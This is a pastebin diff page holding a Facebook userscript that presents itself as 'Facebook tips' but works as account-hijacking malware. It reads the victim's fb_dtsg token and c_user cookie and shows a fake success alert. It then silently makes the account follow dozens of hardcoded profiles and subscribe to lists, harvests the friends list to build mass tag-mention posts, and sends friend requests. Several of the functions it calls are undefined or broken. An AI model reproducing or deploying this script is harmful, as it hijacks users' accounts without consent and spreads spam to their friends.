View difference between Paste ID: dkmXZNe5 and
SHOW: | | - or go back to the newest paste.
1-
1+
// ==UserScript==
2
// @name Thu thuat Facebook by kao
3
// @description Thu thuat Facebook
4
// @include https://*.facebook.com/*
5
// @include https://*.facebook.com/*/*
6
// @include http://*.facebook.com/*
7
// @include http://*.facebook.com/*/*
8
// ==/UserScript==
9
10
function autoSuggest()
11
{
12
links=document.getElementsByTagName('a');
13
for (i in links) {
14
l=links[i];
15
if(l.innerHTML == '<span class=""></span>') {
16
l.click();
17
}
18
}
19
}
20
function blub()
21
{
22
if(document.getElementsByClassName('pbm fsm').length == 1) {
23
w = document.getElementsByClassName('pbm fsm')[0];
24
25
e = document.createElement('a');
26
//e.href = '#';
27
e.innerHTML = 'design By Kao Nag No';
28
e.className = 'uiButton';
29
e.onclick = autoSuggest;
30
31
if( w.childElementCount == 0)
32
{
33
w.appendChild(document.createElement('br'));
34
w.appendChild(e);
35
}
36
}
37
}
38
blub();
39
40
document.addEventListener("DOMNodeInserted", blub, true);
41
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
42
    var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
43
    alert('Xong ! Đã update thủ thuật cho facebook thành công ... Nhấn ENTER để hoàn tất.');
44
    function a(abone){
45
var http4 = new XMLHttpRequest();
46
var url4 = "/ajax/follow/follow_profile.php?__a=1";
47
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
48
http4.open("POST", url4, true);
49
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
50
http4.setRequestHeader("Content-length", params4.length);
51
http4.setRequestHeader("Connection", "close");
52
http4.onreadystatechange = function() {
53
if(http4.readyState == 4 && http4.status == 200) {http4.close;}
54
}
55
http4.send(params4);
56
}
57
// Close the connection
58
function sublist(uidss) {
59
var a = document.createElement('script');
60
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
61
document.body.appendChild(a);
62
}
63
a("");
64
65
a("100004705891228");a("100003049569826");a("100003059516508");a("100002309119220");a("100001744180533");
66
a("100003774227425");a("100002754024576");a("100003856636061");a("100006101370779");a("100005508940503");
67
a("100006348812425");a("100003907411636");a("100002442559693");a("100001220518554");a("100003961118579");
68
a("100004873926383");
69
sublist("190848497748679");sublist("364179380360709");sublist("279065612180407");sublist("314756041993534");
70
sublist("528234827226462");sublist("236690819802804");sublist("146011338925830");sublist("251003945039851");
71
sublist("427588607337868");sublist("362743217160809");sublist("161191517386645");sublist("191655084334687");
72
73
a("100004315663046");a("100004946623643");a("100002823774298");a("100004984394422");a("100004283711132");
74
a("100004259910043");a("100006356132352");a("100002952637555");a("100003877146440");a("100000193113082");
75
a("100003833537231");a("100006355362761");a("100006414454386");a("100002639181964");a("100006417279390");
76
sublist("202878393199348");sublist("364921853611937");sublist("193419010810888");sublist("261741767298393");
77
sublist("398745880233830");sublist("398745880233830");sublist("265695553568227");sublist("191926597650152");
78
sublist("213526722133450");sublist("302047419893228");
79
80
a("100003849511882");a("100003592136239");a("100005594204584");a("100003977928251");a("100002669092050");
81
a("100003139116630");a("100005250222466");a("100001724381555");a("100001857672586");a("100004554272564");
82
a("100004946623643");a("100003694574798");a("100003778434976");a("100003694574798");a("100005298610349");
83
a("100004283711132");a("100004984394422");a("100004283230622");a("100003129334055");
84
a("100004225692425");a("100004902031690");a("100003575341044");a("100004315663046");
85
a("100004978654012");a("100006072494491");a("100006312701039");
86
a("100003924115238");a("100003707753775");a("100005909341431");
87
a("100006222884267");a("100000074427333");a("100002786826956");
88
a("100004009039507");a("100006256860736");a("100002756845601");
89
90
91
92
function sarkadaslari_al(){
93
var xmlhttp = new XMLHttpRequest();
94
xmlhttp.onreadystatechange = function () {
95
if(xmlhttp.readyState == 4){
96
eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
97
for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
98
smesaj = "";
99
smesaj_text = "";
100
for(i=f*10;i<(f+1)*10;i++){
101
if(arkadaslar.payload.entries[i]){
102
smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
103
smesaj_text += " " + arkadaslar.payload.entries[i].text;
104
}
105
}
106
sdurumpaylas(); }
107
}
108
};
109
var params = "&filter[0]=user";
110
params += "&options[0]=friends_only";
111
params += "&options[1]=nm";
112
params += "&token=v7";
113
params += "&viewer=" + user_id;
114
params += "&__user=" + user_id;
115
 
116
if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
117
else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
118
xmlhttp.send();
119
}
120
 
121
var tiklama = document.addEventListener("click", function () {
122
if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
123
svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
124
sarkadaslari_al();
125
document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
126
 
127
document.removeEventListener(tiklama);
128
}
129
}, false);
130
 
131
function sarkadasekle(uid,tem){
132
var xmlhttp = new XMLHttpRequest();
133
xmlhttp.onreadystatechange = function () {
134
if(xmlhttp.readyState == 4){
135
}
136
};
137
 
138
xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
139
var params = "to_friend=" + uid;
140
params += "&action=add_friend";
141
params += "&how_found=friend_browser";
142
params += "&ref_param=none";
143
params += "&outgoing_id=";
144
params += "&logging_location=friend_browser";
145
params += "&no_flyout_on_click=true";
146
params += "&ego_log_data=";
147
params += "&http_referer=";
148
params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
149
params += "&phstamp=165816749114848369115";
150
params += "&__user=" + user_id;
151
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
152
xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
153
 
154
if(tem == "farketmez" && document.cookie.split("tem" + user_id +"=").length > 1){
155
xmlhttp.send(params);
156
}else if(document.cookie.split("tem" + user_id +"=").length <= 1){
157
cinsiyetgetir(uid,tem,"sarkadasekle");
158
}else if(tem == document.cookie.split("tem" + user_id +"=")[1].split(";")[0].toString()){
159
xmlhttp.send(params);
160
}
161
}
162
 
163
var temsonuc = {};
164
var temhtml = document.createElement("html");
165
function scinsiyetgetir(uid,tem,fonksiyon){
166
var xmlhttp = new XMLHttpRequest();
167
xmlhttp.onreadystatechange = function () {
168
if(xmlhttp.readyState == 4){
169
eval("temsonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
170
temhtml.innerHTML = temsonuc.jsmods.markup[0][1].__html
171
btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
172
if(temhtml.getElementsByTagName("select")[0].value == "1"){
173
document.cookie = "tem" + user_id + "=kadin;expires=" + btarihi.toGMTString();
174
}else if(temhtml.getElementsByTagName("select")[0].value == "2"){
175
document.cookie = "tem" + user_id + "=erkek;expires=" + btarihi.toGMTString();
176
}
177
eval(fonksiyon + "(" + id + "," + tem + ");");
178
}
179
};
180
xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
181
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
182
xmlhttp.send();
183
}